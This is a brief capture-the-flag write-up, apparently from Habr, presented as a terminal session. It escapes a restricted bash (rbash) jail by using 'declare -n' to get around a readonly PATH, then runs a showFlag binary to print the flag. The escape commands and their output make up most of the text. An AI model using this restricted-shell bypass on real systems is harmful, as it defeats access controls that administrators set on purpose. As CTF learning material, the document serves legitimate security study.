rbash-4.3$ [tab] ! ]] builtin compgen declare echo eval fc getopts in logout pwd readonly shopt time typeset until alias caller complete dirs elif exec fg hash jobs mapfile return source times ulimit wait : bg case compopt disown else exit fi help kill popd rbash select suspend trap umask while [ bind cd continue do enable export for history let printf read set test true unalias { [[ break command coproc done esac false function if local pushd readarray shift then type unset }
-rbash-4.3$ pwd /
-rbash-4.3$ echo ./* bin dev flag lib lib64 -rbash-4.3$ echo ./bin/* rbash -rbash-4.3$ echo ./flag/* showFlag
-rbash-4.3$ if [[ -r flag/showFlag ]]; then echo ok; fi -rbash-4.3$ if [[ -x flag/showFlag ]]; then echo ok; fi ok -rbash-4.3$ if [[ -G flag/showFlag ]]; then echo ok; fi -rbash-4.3$ if [[ -O flag/showFlag ]]; then echo ok; fi
rbash-4.3$ unset -v PATH rbash: unset: PATH: cannot unset: readonly variable
declare: declare [-aAfFgilnrtux] [-p] [name [= value] ...]
Set variable values and attributes.
...
-n make NAME a reference to the variable named by its value
rbash-4.3$ declare -n PATH rbash-4.3$ export PATH=/flag
rbash-4.3$ echo $PATH /flag rbash-4.3$ showFlag BKP{vimjail_is_down,_fortunately_we_have_rbash_to_save_the_day}
Source: https://habr.com/ru/post/324132/
All Articles